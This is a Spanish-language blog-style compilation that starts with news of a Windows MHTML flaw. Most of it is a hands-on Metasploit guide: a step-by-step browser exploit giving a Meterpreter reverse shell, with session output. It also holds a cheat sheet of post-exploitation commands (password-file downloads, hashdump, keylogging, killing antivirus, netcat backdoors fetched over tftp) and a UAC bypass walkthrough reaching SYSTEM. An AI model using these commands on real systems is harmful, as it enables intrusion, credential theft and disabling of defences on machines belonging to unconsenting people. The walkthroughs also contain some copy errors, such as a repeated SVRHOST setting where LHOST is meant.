Microsoft advirtió el viernes pasado que todas las versiones de Windows (escritorio y servidor) son vulnerables a una falla de control de secuencia de comandos que podría permitir a un atacante falsificar la información que aparece en un navegador.
La revelación fue hecha en respuesta a la publicación de una prueba de concepto distribuida en internet que dejó al descubierto problemas en la forma en que Windows maneja las solicitudes en formato MIME.
El script malicioso que se ejecuta en el lado del cliente puede "suplantar contenido, divulgar información o realizar cualquier acción que el atacante pueda publicar en el sitio web afectado en nombre del usuario víctima", advirtió Microsoft.
"El impacto es el mismo en el lado del servidor, que se presenta como un ataque de cross-site scripting, pero la vulnerabilidad se encuentra en el cliente", explicó Microsoft.
Todos los servicios web de Windows que interactúan con los usuarios a través de campos de entrada son vulnerables, según Microsoft.
Mientras que Redmond ha identificado una solución relativamente simple para las versiones de escritorio, la solución temporal para las versiones de servidor es más complicada, lo que llevó a Microsoft a solicitar ayuda a Google y a otros proveedores de servicios para resolver el problema.
Sin la disponibilidad de parche o de una solución para los servidores, Microsoft recomienda a los operadores de sitios web informar a los clientes para que desactiven el controlador de protocolo MHTML.
El siguiente video muestra como utilizar Armitage para ejecutar código arbitrario en un sistema Windows 7.
Esta es la descripción del módulo utilizado para el exploit:
This module exploits a memory corruption vulnerability within Microsoft\’s HTML engine (mshtml). When parsing an HTML page containing a recursive CSS import, a C++ object is deleted and later reused. This leads to arbitrary code execution. This exploit utilizes a combination of heap spraying and the .NET 2.0 ‘mscorie.dll’ module to bypass DEP and ASLR. This module does not opt-in to ASLR. As such, this module should be reliable on all Windows versions.
Ahora, si queremos realizar el mismo ataque utilizando msfconsole, es muy fácil.
En Backtrack 4 R2, nos ubicamos en el directorio framework3 (Metasploit Framework 3:
cd /pentest/exploits/framework3
E iniciamos la consola de Metasploit:
./msfconsole
Luego ejecutamos el siguiente comando para seleccionar el exploit:
use windows/browser/ms11_xxx_ie_css_import
Definimos el parámetro SRVHOST con nuestra dirección IP:
set SVRHOST 192.168.1.23
Definimos el parámetro URIPATH:
set URIPATH /
Seleccionamos el PAYLOAD a utilizar:
set PAYLOAD windows/meterpreter/reverse_tcp
Definimos el parámetro LHOST con nuestra dirección IP:
set SVRHOST 192.168.1.23
Lanzamos el exploit:
exploit
El resultado debe mostrar lo siguiente:
[*] 192.168.1.100:43487 Received request for "/"
[*] 192.168.1.100:43487 Sending windows/browser/ms11_xxx_ie_css_import redirect
[*] 192.168.1.100:43487 Received request for "/qmpDd.html"
[*] 192.168.1.100:43487 Sending windows/browser/ms11_xxx_ie_css_import HTML
[*] 192.168.1.100:43487 Received request for "/generic-1296233659.dll"
[*] 192.168.1.100:43487 Sending windows/browser/ms11_xxx_ie_css_import .NET DLL
[*] 192.168.1.100:43494 Received request for "/\356\200\240\341\201\232\356\200\240\341\201\232\356\200\240\341\201\232\356\200\240\341\201\232"
[*] 192.168.1.100:43494 Sending windows/browser/ms11_xxx_ie_css_import CSS
[*] Sending stage (749056 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.100:37030) at Fri Jan 28 17:54:43 +0100 2011
[*] Session ID 1 (192.168.1.100:4444 -> 192.168.1.100:37030) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3668)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 2204
[*] New server process: notepad.exe (2204)
A partir de ese momento ya se tiene activa la sesión en el equipo víctima, con los mismos permisos que el usuario afectado y por eso la permanente necesidad de utilizar el sistema con permisos restringidos, sobre todo si se trata de un entorno corporativo.
msf exploit(ms11_xxx_ie_css_import) > sessions -L
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 blackbox\John @ BLACKBOX 192.168.1.17:4444 -> 192.168.1.32:49161
msf exploit(ms11_xxx_ie_css_import) > sessions 1
Ya podremos utilizar la sesión establecida en el equipo víctima, por ejemplo para realizar un listado de archivos:
meterpreter > ls
Listing: C:\Users\John\Documents
================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40555/r-xr-xr-x 0 dir Mon Jan 17 01:59:54 -0500 2011 .
40777/rwxrwxrwx 0 dir Mon Jan 17 01:59:54 -0500 2011 ..
40777/rwxrwxrwx 0 dir Mon Jan 17 01:58:39 -0500 2011 My Music
40777/rwxrwxrwx 0 dir Mon Jan 17 01:58:39 -0500 2011 My Pictures
40777/rwxrwxrwx 0 dir Mon Jan 17 01:58:39 -0500 2011 My Videos
100666/rw-rw-rw- 402 fil Mon Jan 17 01:59:54 -0500 2011 desktop.ini
Es necesario tener en cuenta que la mayoría de los antivirus ya detectan el exploit utilizado por Metasploit (el original) por lo que si la víctima ingresa a la URL con el antivirus habilitado es posible que este detecte el ataque.
# find and download files
run search_dwld "%USERPROFILE%\\my documents" passwd
run search_dwld "%USERPROFILE%\\desktop passwd
run search_dwld "%USERPROFILE%\\my documents" office
run search_dwld "%USERPROFILE%\\desktop" office
# alternate to shell not SYSTEM
execute -f cmd.exe -H -c -i -t
# does some run wmic commands etc
run winenum
# rev shell the hard way
run scheduleme -m 1 -u /tmp/nc.exe -o "-e cmd.exe -L -p 8080"
# An example of a run of the file to download via tftp of Netcat and then running it as a backdoor.
run schtasksabuse-dev -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
run schtasksabuse -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
# vnc / port fwd for linux
run vnc
# priv esc
run kitrap0d
run getgui
# somewhat broken .. google sdt cleaner NtTerminateProcess !@?!?!
run killav
shell
run myremotefileserver_mserver -h
run myremotefileserver_mserver -p 8787
run msf_bind
run msf_bind -p 1975
rev2self
getuid
getuid
enumdesktops
grabdesktop
run deploymsf -f framework-3.3-dev.exe
run hashdump
run metsvc
run scraper
run checkvm
run keylogrecorder
run netenum -fl -hl localhostlist.txt -d google.com
run netenum -rl -r 10.192.0.50-10.192.0.254
run netenum -st -d google.com
run netenum -ps -r 10.192.0.50-254
# Windows Login Brute Force Meterpreter Script
run winbf -h
# upload a script or executable and run it
uploadexec
# kill AV this will not unload it from mem it needs reboot or kill from memory still ... Darkspy, Seem, Icesword GUI can kill the tasks
catchme.exe -K "c:\Program Files\Kaspersky\avp.exe"
catchme.exe -E "c:\Program Files\Kaspersky\avp.exe"
catchme.exe -O "c:\Program Files\Kaspersky\avp.exe" dummy
El plugin Twitt Metasploit ha sido desarrollado en ruby por Carlos Perez (@Carlos_Perez). Este plugin nos permite enviar un mensaje directo a través de Twitter a una cuenta previamente configurada cuando se ha activado o desactivado una sesión en Metasploit. Cada mensaje contiene información detallada de cada sesión.
Instalación:
Para instalar el plugin Twitt Metasploit en Ubuntu 10.10, es necesario actualizar en primer lugar Ruby Gem con los siguientes comandos:
sudo gem install rubygems-update
cd /var/lib/gems/1.8/bin
sudo ./update_rubygems
Luego se debe instalar el Ruby Gem requerido por el plugin:
sudo gem install twitter
A continuación, solo nos queda descargar el script twitt.rb desde Github e instalarlo en el directorio de plugins de Metasploit ubicado en “/opt/metasploit3/msf3/plugins/“. No olvidemos que debemos dar los permisos de acceso necesarios y luego ejecutar Metasploit:
sudo msfconsole
Configuración del plugin Twitt Metasploit:
Para configurar los parámetros del plugin OAuth 1.0a se debe contar ya con una cuenta activa en Twitter. Después tendremos que registrar la aplicación Twitt en el sitio Twitter Developers.
Al llenar el formulario, se debe establecer en los campos “Application Type” como “Client” y que el “Client” debe tener “Read & Write” en el campo “Default Access Type“.
El bypass de Windows UAC ha sido incluido hoy en Metasploit Framework. Es un poco diferente al script tradicional. En lugar de interactuar con meterpreter y ejecutar los comandos desde la shell de meterpreter, es necesario utilizar los nuevos módulos post. Veamos como se hace:
[*] Started reverse handler on 0.0.0.0:443
[*] Starting the payload handler…
[*] Sending stage (749056 bytes) to 172.16.32.130
[*] Meterpreter session 1 opened (172.16.32.128:443 -> 172.16.32.130:1989) at Thu Jan 06 12:40:35 -0500 2011
msf exploit(handler) > use post/escalate/bypassuac
msf post(bypassuac) > show options
Module options:
Name Current Setting Required Description
—- ————— ——– ———–
RHOST no Host
RPORT 4444 no Port
SESSION yes The session to run this module on.
msf post(bypassuac) > set SESSION 1
SESSION => 1
msf post(bypassuac) > exploit
[*] Started reverse handler on 172.16.32.128:4444
[*] Starting the payload handler…
[*] Uploading the bypass UAC executable to the filesystem…
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem….
[*] Executing the agent with endpoint 172.16.32.128:4444 with UACBypass in effect…
[*] Post module execution completed
msf post(bypassuac) >
[*] Sending stage (749056 bytes) to 172.16.32.130
[*] Meterpreter session 2 opened (172.16.32.128:4444 -> 172.16.32.130:1993) at Thu Jan 06 12:41:13 -0500 2011
[*] Session ID 2 (172.16.32.128:4444 -> 172.16.32.130:1993) processing InitialAutoRunScript ‘migrate -f’
[*] Current server process: zuWlXDpYlOMM.exe (2640)
[*] Spawning a notepad.exe host process…
[*] Migrating into process ID 3276
[*] New server process: notepad.exe (3276)
msf post(bypassuac) > sessions -i 2
[*] Starting interaction with 2…
meterpreter > getsystem
meterpreter >
…obtenemos acceso como system (vía técnica 1).
meterpreter > sysinfo
Computer: JOHN-DEV-PC
OS : Windows 7 (Build 7600, ).
Arch : x64 (Current Process is WOW64)
Language: en_US
meterpreter >